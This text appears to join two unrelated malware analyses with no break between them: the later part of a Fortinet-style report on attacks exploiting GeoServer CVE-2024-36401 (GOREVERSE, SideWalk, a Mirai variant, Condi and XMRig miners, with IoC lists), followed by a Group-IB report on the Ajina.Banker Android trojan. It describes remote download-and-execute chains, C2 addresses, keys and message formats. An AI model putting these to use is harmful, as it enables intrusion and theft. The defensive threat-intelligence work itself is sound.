The ultimate executable is “GOREVERSE,” packed with UPX. GOREVERSE is a malicious tool that often functions as a reverse proxy server, allowing attackers to illicitly access target systems or data.

Figure 3: GOREVERSE

Once executed, the connection is made to a specific IP address (181[.]214[.]58[.]14) and port (18201), which is not a standard SSH port.

Figure 4: GOREVERSE’s log

From the exploitation packet of CVE-2024-36401, we observed threat actors attempting to access IT service providers in India, technology companies in the U.S., government entities in Belgium, and telecommunications companies in Thailand and Brazil.

SideWalk

Figure 5: Attack packet

The attacker fetches the script from “hxxp://1[.]download765[.]online/d.” This batch file facilitates the download of execution files. All the ELF files on the remote server, known as the “SideWalk” malware, are designed to operate on ARM, MIPS, and X86 architectures. SideWalk is a sophisticated Linux backdoor malware also often linked with the hacking group APT41.

Figure 6: Script file “d”

First, SideWalk creates a folder named with a randomly generated string in the TMP directory. It then decodes two library files, libc.so.0 and ld-uClibc.so.1, along with the next-stage payload using the XOR key 0xCC. These decoded files are then stored in the previously created folder in the TMP path.

Figure 7: Creating the folder and files

Figure 8: XOR decoded with 0xCC

Figure 9: Saved decoded files

Then, it also uses XOR to decode the string data using the key 0x89.

Figure 10: XOR decoded with 0x89

It then executes the next stage payload, “ych7s5vvbb669ab8a.” It has three main functions:

1. Decrypt configuration: The configuration is decrypted using the ChaCha20 algorithm. The binary input contains a 16-byte MD5 hash, a 12-byte nonce for ChaCha20 decryption, and a 4-byte section indicating the length of the ciphertext, followed by the actual ciphertext. Based on the assembly code, the decryption key is hard-coded as “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” and the decryption process runs 15 rounds (0xF). After successful decryption, the extracted C2 is secure[.]systemupdatecdn[.]de (47[.]253[.]46[.]11), listening on port 80, with the mutex name “hfdmzbtu.”

Figure 11: Decrypted configuration with ChaCha20

Figure 12: Encrypted binary

Figure 13: Decrypted configuration

2. Establish C2 communication: Communication with the C2 server is established using an encrypted session, also based on the ChaCha20 algorithm. The packet structure comprises a 4-byte section representing the packet length, a 12-byte nonce for ChaCha20 decryption, 20 bytes of message metadata, and the final ciphertext. The initial exchange includes keys (v-key and s-key) for subsequent message encryption. In early packets, the original key, “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” decrypts the message metadata, while the exchanged keys (v-key and s-key) decrypt the ciphertext. In packet 5, the victim’s information (computer name, operating system, and system time) is transmitted.

Figure 14: Packet capture of the C2 connection

Figure 15: C2 communication

3. Execute the command issued by C2: In this attack scenario, we find a Plugin named Fast Reverse Proxy (FRP.) Fast Reverse Proxy (FRP) is a legitimate and widely-used tool that complicates the detection of malicious network traffic by blending it with normal traffic, thereby enhancing the stealthiness of cyberattacks. Because it is open source, this tool has been leveraged in the past by several threat actors, such as Magic Hound, Fox Kitten, and Volt Typhoon. Using FRP, attackers create an encrypted tunnel from an internally compromised machine to an external server under their control. This method enables them to maintain a foothold within compromised environments, exfiltrate sensitive data, deploy further malicious payloads, or execute other operations. In this attack case, SideWalk also downloads a customized configuration file that directs the connection to a remote server (47[.]253[.]83[.]86) via port 443, further enhancing the attacker’s control and persistence.

Figure 16: FRP’s configuration

Figure 17: Packet capture of FRP

Analysis of the script download URL’s telemetry reveals a concentrated pattern of infections. The primary targets appear to be distributed across three main regions: South America, Europe, and Asia. This geographical spread suggests a sophisticated and far-reaching attack campaign, potentially exploiting vulnerabilities common to these diverse markets or targeting specific industries prevalent in these areas.

Figure 18: Telemetry

Mirai Variant – JenX

Figure 19: Attack packet

This script downloads and executes a file named “sky” from a specified URL, “hxxp://188[.]214[.]27[.]50:4782. “ It changes its permissions to make it executable, runs it with the parameter “geo,” and then deletes the file.

Figure 20: XOR decoded function

The configuration data is extracted by XORing the file contents with 0x3A. This enabled us to find information like “bots[.]gxz[.]me,” which is the C2 server the malware attempts to connect to.

Figure 21: Decoded configuration data

When executing the malware, a string shows up.

Figure 22: Execution message

This malware has a credential list for brute-force attacks and a hard-coded payload related to the Huawei router vulnerability CVE-2017-17215. The payload attempts to download malware from 59[.]59[.]59[.]59.

Figure 23: Hard-coded payload

Condi

The attacker first terminates several processes (mpsl, mipsel, bash.mpsl, mips, x86_64, x86), then downloads and executes multiple bot binaries for different CPU architectures (such as ARM, MIPS, PPC, X86, M68K, SH4, and MPSL) from a remote server, “hxxp://209[.]146[.]124[.]181:8030.” The binaries are fetched using wget, saved in the /tmp directory, made executable (chmod 777), and executed.

Figure 24: Attack packet

The following section uses “bot.arm7” as an example. The malware can be recognized by the specified string “condi.”

Figure 25: Significant string

Executing the malware sends numerous DNS queries to “trcpay[.]xyz.”

Figure 26: Continually connecting to the C2 server

The Condi botnet first tries to resolve the C2 server address and its function. It then establishes a connection with the C2 server and waits to parse the command. The malware has numerous DDoS attack methods, such as TCP flooding, UDP flooding, and a VSE DDoS attack.

In tracing the connection back to the remote server, “hxxp://209[.]146[.]124[.]181:8030,” we found that it was built as an HFS (HTTP File Server) and that two malicious tools—“Linux2.4” (another botnet) and “taskhost.exe” (the agent tool)—are located in the server.

The botnet “Linux2.4” not only has different methods that can trigger a DDoS attack but can also act as a backdoor agent. The tool first connects to a server, which is the same as the remote server “209[.]146[.]124[.]181.” It then gathers the host information. Later, it waits for the command to either conduct a remote command execution or trigger a DDoS attack.

Figure 27: DDoS attack methods

The Backdoor malware “taskhost.exe” is designed especially for Windows. It creates a service named “9jzf5” for persistence and then creates different process types to retrieve information from attackers lurking in the host.

Figure 28: Creating a service with the name “9jzf5”

Figure 29: Command execution

CoinMiner

We found four types of incident coin miners that can be delivered to victim hosts, as shown in the following details.

[1]

Figure 30: Attack packet

The attacker downloads a script from a remote URL “hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860[.]txt/test.sh” and saves it as script.sh in the temp folder. The payload within the incident packets then modifies and executes the script to achieve various purposes.

Figure 31: Script file “test.sh”

The script first gathers host information, such as the location of Aegis, the distribution version of Linux. Afterward, it attempts to uninstall different cloud platforms, like Tencent Cloud, Oracle, Kingsoft Cloud, JD Cloud, and Ali Cloud, to evade monitoring agents from those cloud services. A noteworthy point is that the comments in the script are written in simplified Chinese, indicating that the miner campaign/author may be affiliated with a Chinese group. While finishing these uninstalls, the script kills some security defense mechanisms processes and checks whether the current user has the root privilege needed to uninstall those mechanisms. If everything executes successfully, the script downloads the coin miner and creates another script for persistence.

Figure 32: Download and persistence within “test.sh”

The coin miner, named “sshd,” wrote the configuration within itself. The miner points to two target pools: “sdfasdfsf[.]9527527[.]xyz:3333” and “gsdasdfadfs[.]9527527[.]xyz:3333.”

Figure 33: Coin miner configuration

[2]

Figure 34: Attack packet

Another type of coin miner attack begins with the Base64-encoded command. It intends to download “linux.sh” from “hxxp://repositorylinux.com.” The comment in “linux.sh” is written in Sundanese, an Indonesian language.

Figure 35: Script file “linux.sh”

The script downloads two files: a coin miner named “linuxsys“ and a related configuration file named “config.json.” It downloads these through an AWS (Amazon Web Service) cloud platform service the attacker holds.

Figure 36: Config file “config.json”

The coin miner sets the pool URL “pool[.]supportxmr[.]com:80” with credentials using “config.json.” The miner itself is XMRig, which can be recognized through its data.

Figure 37: Coin miner “linuxsys”

[3]

Figure 38: Attack packet

The action sent via four packets is to download “/tmp/MmkfszDi” from the remote server “hxxp://95[.]85[.]93[.]196:80/asdfakjg.sh,” make it executable, and then run it. The script downloads a coin miner like the others mentioned before. It also removes a list of files within “/tmp,” “/var,” “/usr,” and “/opt.”

Figure 39: Script file “asdfakjg.sh”

The coin miner named “h4” is similar to the other two types mentioned. It is XMRig as well and embeds its configuration within the binary file. The miner sets the pool URL as “asdfghjk[.]youdontcare[.]com:81”

Figure 40: Configuration data embedded in “h4”

[4]

Figure 41: Attack packet

The last type of coin miner incident command is also encoded with base64. It downloads “cron.sh” from “112[.]133[.]194[.]254.” This fraudulent site mimics the webpage of the Institute of Chartered Accountants of India (ICAI). The site is currently removed.

Figure 42: Fraudulent site

“cron.sh” uses the job scheduler on the Unix-like operating system “cron,” as its name indicates. The script schedules jobs for things like downloading coin miner-related scripts and setting the scripts into “crontab.” It first downloads the script named “check.sh” from the same source IP “112[.]133[.]194[.]254” and executes the script.

Figure 43: Script file “cron.sh”

“check.sh” first creates the necessary directories and confirms that the victim host hasn’t been infected. Once the script finds that the victim host is the first to be infected, it downloads “config.sh” from the attacker’s IP “112[.]133[.]194[.]254” and the XMRig coin miner from the developer platform “Github.”

Figure 44: Script file “check.sh”

Through “config.sh,” we learned that the attacker set the pool on SupportXMR “pool[.]supportxmr[.]com:3333”

Figure 45: Script File “config.sh”

Conclusion

While GeoServer’s open-source nature offers flexibility and customization, it also necessitates vigilant security practices to address its vulnerabilities. The developer patched the vulnerability with the function “JXPathUtils.newSafeContext” instead of the original vulnerable one to evaluate the XPath expression safety. However, implementing comprehensive cybersecurity measures—such as regularly updating software, employing threat detection tools, and enforcing strict access controls—can significantly mitigate these risks. By proactively addressing these threats, organizations can secure their environments and ensure the protection and reliability of these data infrastructures.

Fortinet Protection

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

Adware/Miner
BASH/Agent.CPC!tr
BASH/Miner.VZ!tr
Data/Miner.2F82!tr
Data/Miner.3792!tr
ELF/Agent.CPN!tr
ELF/Agent.CPN.TR
ELF/BitCoinMiner.HF!tr
ELF/Flooder.B!tr
Linux/CoinMiner.ACZ!tr
Linux/Mirai.CEA!tr
Linux/Mirai.CJS!tr
Linux/Mirai.IZ1H9!tr
Linux/SideWalk.Q!tr
Riskware/CoinMiner
W32/ServStart.IO!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signatures against attacks exploiting the following vulnerability:

CVE-2024-36401: GeoServer.OGC.Eval.Remote.Code.Execution

We also suggest that organizations go through Fortinet’s free training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IoC

URL

hxxp://181[.]214[.]58[.]14:61231/remote.sh
hxxp://1[.]download765[.]online/d
hxxp://188[.]214[.]27[.]50:4782/sky
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm5
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm6
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm7
hxxp://209[.]146[.]124[.]181:8030/bot[.]m68k
hxxp://209[.]146[.]124[.]181:8030/bot[.]mips
hxxp://209[.]146[.]124[.]181:8030/bot[.]mpsl
hxxp://209[.]146[.]124[.]181:8030/bot[.]ppc
hxxp://209[.]146[.]124[.]181:8030/bot[.]sh4
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86_64
hxxp://209[.]146[.]124[.]181:8030/JrLinux
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]4
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]6
hxxp://209[.]146[.]124[.]181:8030/taskhost[.]exe
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/test.sh
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/sshd
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/linuxsys
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/config.json
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/linuxsys
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/config.json
hxxp://95[.]85[.]93[.]196:80/h4
hxxp://112[.]133[.]194[.]254/cron.sh
hxxp://112[.]133[.]194[.]254/check.sh
hxxp://112[.]133[.]194[.]254/config.sh

IP Address/Hostname

181[.]214[.]58[.]14:18201
47[.]253[.]46[.]11
secure[.]systemupdatecdn[.]de
188[.]214[.]27[.]50
bots[.]gxz[.]me
209[.]146[.]124[.]181
sdfasdfsf[.]9527527[.]xyz:3333
gsdasdfadfs[.]9527527[.]xyz:3333
pool[.]supportxmr[.]com:80
95[.]85[.]93[.]196:4443
pool[.]supportxmr[.]com:3333
59[.]59[.]59[.]59

Wallet

49VQVgmN9vYccj2tEgD7qgJPbLiGQcQ4uJxTRkTJUCZXRruR7HFD7keebLdYj6Bf5xZKhFKFANFxZhj3BCmRT9pe4NG325b+50000
41qqpRxT7ocGsbZPeU9JcbfRiHLy3j8DWhdKzv8Yr2VS1QPcFLmfHVJFWEBDfWaB3N6HxuVuAb73nES36bN2rhevGnZ12nA

SHA256Hash

b80e9466b7bb42959c29546b8c052e67fcaa0f591857617457d5d28348bd8860
d9e8b390f8e2e8a6c2308c723a6a812f59c055ecad4e9098a120e5c4c65d3905
79c9532fb6ef2742e207498bfe2b2ee09aa9773376ac0e56085083aab17b98be
5cc7e35254347f705422800bfb7fe29c6002e2537f6bac0ff996a720dfb5f48e
fabbb4611fb9df5d8f208d9353be0b73c3942fe78903da096cbfe2f47c9e3566
1588bee7db42495ba7e6e34d217e6b82c5ab93f27c1eea68435cbb9e7792f9be
e8b0f5a952f07c83c4d67809ac0715c7164d518323d8038542e84aab8456db43
3c73ebc7a85accc65c9ee5bf151f70b990e5a12f27a843ca21c0f9d9a10fd17d
9bf642a7e14f0a0b0a784f00a0d1cf590ac60ae5ae378d29d435519f4d9dbf2b
994b924b00fb56e12a6a987c4cdf65dd05a221c47b5fc0a7a2babf1f05c2ed38
c226744b40e8f5d2cf95b4fb2537ff00e222ecc2d24c5096ecfadb14b4a47f97
96cf27a66b629d2b19708c6887441a8422b40dc0e9e7c5c0f2212efe0b6b3323
b3a015b6650ec9800fa878ff9a5f732013806c8dcb0e7069515dae0dd380fda4
50b7e615b8cdc45486b6ed1c1c081c7a92c262edb84318fa864531dcab753f82
f7b97677b6387c1f02d429e98868bf6973a8dec14dfee2516a27e885d6b1c780
b60d7fb66caf103a04e81fb89dbb05111b4b0ef513f3769c8e0a8106ab01a075
a9e7b5284182d3881c865895ee6e0fb03273eec3dcbf4bfc82dd2b069245beae
c3101b0b74d76a95ba91b6cc4945657e928d2dac8fdf926ffbf09031d46e9186
b67ab1b9b66fdc2c4ed1689698a54a347c2bdd6eaff87039ae337675243670d8
83fb74bb852bbd722e6ebc4e249e49cb4bb4194493a26d62d4bfcdfca2998412
53994a35a57970dea48e97009f65ad045b69a83234b771b106446211376a6866
f3d3572ef96c9c59e137425ca6804e1b86b7f8b57210a3724d567017460774de
1af8e068aa7377f0055640af581a412aa9d7288c912a93dd0d739657af0079fb
1abd8cbd64d1d9c8d56b7ea6273ed62e1471f300fabc67dbc2416a48e2faf33d
addccd0ecb643251af2e79e878b19a8e9c8f1c87302e732ef057cdba821f4b30
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
8d3440301bc94ed83cdafb69e4b0166d3a0020eb4f38e9fa159c2f13f14b2d29
a13a979f4ca57450528bb6cd7aa2bf47d2eea211053eb1a14b8c4a44fd661831
7194ec436231c2a383ffc7c75eef4f5b5a952c18fa176ffd0830667835a80533
20d97f144bf7b1662a13ac537715126b9b2f68eff46a4a09234743ae236f0177
d72e4cabffc84a31e50caf827b6e579cf6e4932e5cbc528a65a68728ba56b65b
5abf8a52d45f6d5970fab8d1dfd05b6ee7b0ef57df935f45761b89d3522fa592
24e80d66759b1c7a075aeb4fe0321eb6ac49eaf509089fd2882874ec6228d085
7355cc094f2e43e4dd7b8b698b559abe6d2d74cc48f5cfa464424314c6e41944
689504850db842365cd47eadd2d3d42888b9261e7d9e884f14bb7deeb21bb61d
762707f2c7fc4731c4c46ecb3364a4e7ace8984aa899cc57c624b342d3efa03f
4234eb5eb42fbe44d7163c4388d263b3fe57fb1e56bf56152ac352c3fd0beec0
373734730d8414d32883ebbd105c7a7c58397df995759c4e0bd367f2523d302d
d1d25730122f8bc125251832c6af03aedd705dfcc2d9eebcce4371c54bb84b39
3dce929b1c091abac3342788624f1ffa4be5d603eec4d7ab39b604694ac05d22
eb2f95bb2059a3690259f2c0d7537b3cad858869650b9c220d2d81e3720b6dde
2e0e324e36fafe71f5d2bcf521e6415dafbc3f1173ad77f1f3daa77bb581da5f
5d9eb83b4a6f2d49580e1658263eb972be336a2cad15a84561d17d59391191b0
75d7b6264f5a574bc75400c9d57282e9344d8b2df576ad2a36ab7e2575d5a395
e5e5122ba6d0b06f7ed8e57ab5324ae730970c0d23913f27b9ecc9094182c03d
275302d03a4378f1b852e6d783d3181c2899ae0e9ebad4c7160221320863c425
653a4ad0b00e59a01142f899b6aac9712cfb25063b5b9b2e7e3171f7f3a897ed
8fad39ec0671d9b401712ddbc1f24942b2ee2f4865b6ffcd2f019036e03cbade
c8b76b63644d2946fd0af72b48fa59f07a78e1f84464cff5e9b1ca4110e6113e
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab
7d052cffcf97b303d11c5d35fa9bc860155601cdea21e38447401571b35d2db1
c81d4770e812ddc883ead8ff41fd2e5a7d5bc8056521219ccf8784219d1bd819
bf56711bbe0b1dac3b1481d36e7ae2f312da5f404c554c2c45a01fe591b8464d
5c9722d3dc72dbeafec00256887867bad46d347a5fc797d57fc9e0fd317035d3
3369ddc627282eb38346e1a56118026dd3ccdb29b18ffff88ecf3663296ee6da

Ajina attacks Central Asia: Story of an Uzbek Android Pandemic

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Discovered by Group-IB in May 2024, the Ajina.Banker malware is a major cyber threat in the Central Asia region, disguising itself as legitimate apps to steal banking information and intercept 2FA messages.

Introduction

In May 2024, Group-IB analysts discovered suspicious activity targeting bank customers in the Central Asia region. The threat actors have been spreading malicious Android malware designed to steal users’ personal and banking information, and potentially intercept 2FA messages. During the investigation, Group-IB discovered .APK files masquerading as legitimate applications that facilitated payments, banking, deliveries, and other daily uses. These malicious files were spread across Telegram channels.

After the initial analysis of this trojan, we discovered thousands of malicious samples. All the found samples were divided into several activity clusters, each to be separately studied and investigated in a series of articles. This article examines one of these clusters: meet the Ajina.Banker malware.

Ajina is a mythical spirit from Uzbek folklore, often depicted as a malevolent entity that embodies chaos and mischief. According to local legends, this spirit is known for its ability to shape-shift and deceive humans, leading them astray or causing them harm. We chose the name Ajina for this malware campaign because, much like the mythical spirit, the malware deceives users by masquerading as legitimate applications, leading them into a trap compromising their devices and causing significant harm.

Key Findings

During our research, we uncovered the ongoing malicious campaign that started from November 2023 to July 2024.
We found and analyzed approximately 1,400 unique samples of Android malware and identified changes between versions of the same malware.
The attacker has a network of affiliates motivated by financial gain, spreading Android banker malware that targets ordinary users.
Analysis of the file names, sample distribution methods, and other activities of the attackers suggests a cultural familiarity with the region in which they operate.
Analysis also shows that the evolution of this malware campaign is causing attacks to expand beyond the original region, causing more victims in other countries as well.

Threat Actor Profile

The starting point of the research

As part of its continuous monitoring and hunting procedures, Group-IB analysts discovered a malicious Android sample (SHA1 b04d7fa82e762ea9223fe258fcf036245b9e0e9c) that was uploaded to the VirusTotal platform from Uzbekistan via a web interface, and had an icon of a local tax authority app.

Figure 1. Screenshot of the sample found on the VirusTotal platform

Behavioral analysis has shown that the application tries to contact 109.120.135[.]42. Group-IB’s proprietary Graph Network Analysis tool reveals similar files that contacted the same server.

Figure 2. Screenshot of graph analysis of network infrastructure of the detected server

Our attention was also drawn to the package when our Fraud Protection solution detected the package org.zzzz.aaa in one of our client sessions. During our investigation, we found more samples on the VirusTotal platform. Our Fraud Analysts continued researching this malware and constructed a timeline of the campaign, identifying methods of distribution and targets.

Figure 3. Screenshot of Android Info summary with unique package name

Timeline

Ajina’s malicious campaign commenced in November 2023 and has persisted to present day. Initially the activities detected included the malware distribution through Telegram, encompassing a range of threats from malware-laden attachments to phishing attempts.

Ajina refined their tactics as the campaign progressed into February through March 2024, demonstrating heightened sophistication Social engineering techniques and the scale of the attack were increasingly leveraged to enhance the campaign’s efficiency. Based on Group-IB’s Fraud Protection system, we have plotted the following timeline of new infections.

Figure 4. New infections timeline

The timeline above illustrates the daily count of new infections, indicating a persistent and ongoing threat. This trend reveals that many users continually fall victim to the malware, leading to a steady increase in infections over time. The data shows that the adversary’s distribution techniques remain effective, successfully targeting new victims daily.

Malware distribution

Our analysis has revealed intensive attempts by Ajina to utilize messaging platforms, including Telegram, as a channel for disseminating malicious samples. Ajina orchestrated a widespread campaign by creating numerous Telegram accounts, leveraging these accounts to disseminate malware within regional community chats. Evidence suggests that this distribution process may have been partially automated, allowing for a more efficient and far-reaching spread of the malicious software.

To enhance their deception, Ajina crafted messages and sent links and files to lure unsuspecting users. The malware is often disguised as legitimate banking, government, or everyday utility applications, designed to exploit the trust users placed in these essential services in order to maximize infection rates and entice people to download and run the malicious file, thereby compromising their devices. This targeting method resulted in a widespread and damaging malware campaign that compromised numerous devices in the Central Asia region.

Techniques

Files with themes

To further entice potential victims, the adversary shared these malicious files in local Telegram chats, using a variety of deceptive methods. They crafted enticing giveaways and promotional messages that promised lucrative rewards, special offers, or exclusive access to sought-after services. In the following example, one of the following text messages was used for spreading files mimicking the local finance application (SHA1 5951640c2b95c6788cd6ec6ef9f66048a35d6070).

Figure 5.1 Screenshot of the message with the malicious file

Figure 5.2 Scan results on VirusTotal platform

Translated from Uzbek:

arrow_drop_down

These messages were designed to create a sense of urgency and excitement, prompting users to click on the links or download the files without suspecting any malicious intent. The use of themed messages and localized promotion strategies proved to be particularly effective in regional community chats. By tailoring their approach to the interests and needs of the local population, Ajina was able to significantly increase the likelihood of successful infections.

File spamming

Further analysis of Ajina’s distribution techniques revealed instances where they spammed messages containing only a malicious file attachment devoid of any accompanying text. This approach aimed to exploit the curiosity of users who might be inclined to open an unsolicited file or open it accidentally.

These spam campaigns were conducted across multiple accounts, sometimes even simultaneously, suggesting a highly coordinated effort. The simultaneous and widespread nature of these spam messages hints at the potential use of an automated distribution tool.

Figure 6. Screenshot of sending multiple messages

Link to Telegram channel

In addition to spamming messages with malicious attachments, Ajina also sent links to channels that hosted the malicious files, accompanied by promotional texts designed to engender trust and entice users to download the malware.

By directing users to external channels rather than sending files directly within the chat, Ajina aimed to circumvent the common security measures and restrictions imposed by many community chats. Sending files directly within a chat sometimes triggers automatic moderation and can lead to the adversary’s accounts being banned. However, by using links to external channels, they could bypass these restrictions, ensuring that their malicious content remained accessible to potential victims for a longer period of time.

This approach helped the adversary avoid detection and leveraged the trust users have in seemingly legitimate channels. Once users clicked on the link and entered the channel, they were inclined to believe that the files shared there were safe, especially when presented with convincing promotional texts. This strategy highlights the adversary’s adaptability and continuous efforts to refine their methods to evade security measures and maximize the reach of their malware campaign.

Figure 7.1 Screenshot of sending a link to channel

Figure 7.2 Content of channel

Link to web-resource

Some examples were found when the adversary sent links to web resources.

Figure 8. Screenshot of a message containing a link to web-resource

Accounts

Our investigation uncovered that the adversary established multiple accounts to execute their malicious campaign effectively. These accounts were meticulously set up to blend in with regular users and evade detection for as long as possible. Below, we provide detailed information on some of the identified accounts, including their account names, usernames, and user IDs, along with the volume of messages sent from each account.

Last Seen Name	INFINITOSSS MILLENNIUM	—	Barno Umarova	—	Оксана Цветкова
Last Seen Username	infinitosss	—	—	—	—
User ID	6571903171	6856449327	6824678523	6477339333	7027991392
Number of messages	238	175	76	54	25

Last Seen Name	Ренат	Алевтина!	Эмилия!	Святослав Пономарев	Eduard Bocan
Last Seen Username	—	—	—	—	EduardBocan
User ID	6406880636	7119728862	6556126401	7158481885	6125515928
Number of messages	16	48	46	10	43

Last Seen Name	Никон Дементьев	Эрнест Щербаков	شوكت	Лукия Рыбакова	Нинель Мамонтова
Last Seen Username	—	—	—	—	—
User ID	7133377920	6887020479	5526643036	6344107060	6701781993
Number of messages	7	2	2	9	13

Last Seen Name	Jason99	Linda Castaneda	Alicia Willis	Андреева Родригес
Last Seen Username	—	—	—	Andreeva_5676
User ID	6553097862	6574219148	5668418863	6716964266
Number of messages	2	1	3	1

These accounts were used to distribute the malware through various local community chats. By using multiple accounts, sometimes simultaneously, the adversary was able to increase the reach and frequency of their malicious content. The adversary’s ability to maintain and operate numerous accounts simultaneously, while consistently delivering tailored messages, suggests the possible use of automated distribution tools. These tools enabled the adversary to manage large-scale operations with precision, further amplifying the impact of their malicious campaign. This approach to account management indicates a high level of planning and coordination.

Malware analysis

Fraud Protection telemetry found 1,402 packages with package names com.example.smshandler (187 samples) and org.zzzz.aaa (1,215 samples) between 30 November 2023 and 31 July 2024 across 5,197 devices. Analyzed samples share a common code structure and subset of permissions that are requested.

The first known infection occurred at 30 November 2023 via package name com.example.smshandler (SHA1 cc6af149f1da110a570241dde6e3cfd0852cb0d8) with permission list:

[
	"android.permission.READ_PHONE_STATE",
	"android.permission.RECEIVE_BOOT_COMPLETED",
	"android.permission.RECEIVE_SMS",
	"android.permission.ACCESS_WIFI_STATE",
	"android.permission.BROADCAST_SMS",
	"android.permission.DUMP",
	"android.permission.INTERNET",
	"android.permission.READ_PHONE_NUMBERS",
	"android.permission.ACCESS_NETWORK_STATE",
	"android.permission.CALL_PHONE",
	"com.example.smshandler.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION",
	"android.permission.READ_SMS"
]

Ajina.Banker.A

According to Fraud Protection telemetry data, the first known sample of this malware uploaded to VirusTotal is “Узбек �екс 🔞🔞🔞” (SHA1 84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e). It was uploaded to the VirusTotal platform in January 2024, providing the initial glimpse into this malicious campaign.

Figure 9. Detections at the moment of analysis

Once the trojan is launched it connects to the gate server 79[.]137[.]205[.]212:8080, generates AES encryption key, and sends it to the gate server along with a hard-coded worker’s name and userId that is also stored into SharedPreferences.

Figure 10. Initialization of the trojan

Figure 11. Base-64 encoded string sent to server

Figure 12. Decoded payload

This message is base64-encoded JSON:

{
	"key": "base64-encoded AES key",
	"action": 1,
	"worker": "Ares",
	"id": "c23aaac5774d4992a8d68de5eaf28535"
}

All messages except action 1 are encrypted with AES/GCM/NoPadding cipher suite.

Further research shows that messages are JSON-encoded, but are sent via raw TCP socket, not wrapped in HTTP. The general structure of messages contains a numeric action field with action type and other fields with arbitrary data depending on the action type. For example, if something goes wrong, the trojan sends a message to the gate server with the following structure:

{
	"action": 5,
	"msg": "string representation of the occured exception"
}

From the victim’s point of view, once the trojan is initiated, it loads a background image from an external legit resource and requests the user to grant these permissions:

[
"android.permission.READ_PHONE_STATE",
"android.permission.CALL_PHONE",
"android.permission.READ_PHONE_NUMBERS",

"android.permission.RECEIVE_SMS",
"android.permission.READ_SMS"
]

Figure 13. The only activity in the trojan (censored)

If permissions are granted via system dialog, the trojan disables the activity thus prevents launching an application UI again from the OS launcher.

setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)

Figure 14. Prevention of further launching

If the user grants permissions via their mobile device’s operating system settings menu, the trojan then launches an intent that activates a third-party application related to trojan’s legend:

Figure 15. Starting a third-party activity

If permissions are not granted, the trojan sends a notification to the gate server (action 6).

When permissions are granted, the trojan collects information from the infected device and sends it to the gate server (action 3). The following is the list of information collected:

for each active SIM card
- MCC+MNC codes of current registered operator
- Name of the current registered operator
- ISO-3166-1 alpha-2 country code equivalent of the MCC (Mobile Country Code) of the current registered operator or the cell nearby
- ISO-3166-1 alpha-2 country code equivalent for the SIM provider’s country code
- MCC+MNC codes of the provider of the SIM
- Service Provider Name (SPN)
- Phone number
- Is SPN “known” or not

list of installed financial applications originated from Armenia, Azerbaijan, Iceland, Kazakhstan, Kyrgyzstan, Pakistan, Russia, Uzbekistan and some international ones
sent SMS
- Recipient
- Body
- Date
received SMS
- Sender
- Body
- Date

The trojan abuses the <queries> element in the app’s manifest instead of abusing QUERY_ALL_PACKAGES permission, and therefore it can get information only about what is declared in manifest packages. However, it does not prevent the expansion of the list of targets for a particular sample because Trojan will send to the gate server every incoming SMS, including for banks not included in the list of targets (action 2). This allows, for example, the initial registration of accounts in organizations that are not the target of the trojan.

Figure 16. Broadcast receiver for incoming SMSes

While collecting SIM-card info, the trojan checks if the SPN is “known” and, if it is, sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device.

Country	USSD
Armenia	*187#
	*420#
	*525#
Azerbaijan	*137#
	*540#
	*666#
Kazakhstan	*160#
Kyrgyzstan	*112#
Kyrgyzstan	*212#
Russia	*100#
	*103#
	1110887#
	116106#
	*200#
	*201#
	*205#
	*303#
Tajikistan	*111#
Tajikistan	*99#
Ukraine	*161#
Ukraine	*61#
Uzbekistan	1004#
	*150#
	*303#
	*450#
	*664579#

After this USSD response is received, the trojan sends the response info to the gate server (action 4):

Figure 17. USSD response callback

There is no difference between samples with com.example.smshandler package name from first and last infections with publicly available samples.

Ajina.Banker.B

We gathered several samples from the org.zzzz.aaa group and found little differences in the code structure. Further analysis of the appearance of new samples and code similarities lead us to the conclusion that this family is still under active development, and we can suggest that org.zzzz.aaa is the new version of the same family as com.example.smshandler.

Figure 18. New samples stats

As shown above, another group of samples has the org.zzzz.aaa package name. The first known infection occurred on February 18 2024, while the earliest publicly available sample was detected on 20 February 2024, and is still the most downloaded for now.

One of the freshest samples has an interesting but less popular difference. It is a new execution flow branch showing another view instead of just a background image. Based on the names of variables of type TextInputEditText, we assume that this is something like a phishing page, but we are not able to trigger this branch.

Figure 19. New activity layout

Along with this new View there is a new action 7 message for sending user-provided phone number, bank card number and PIN-code.

Figure 20.The user-inputed card info is sent to gate server

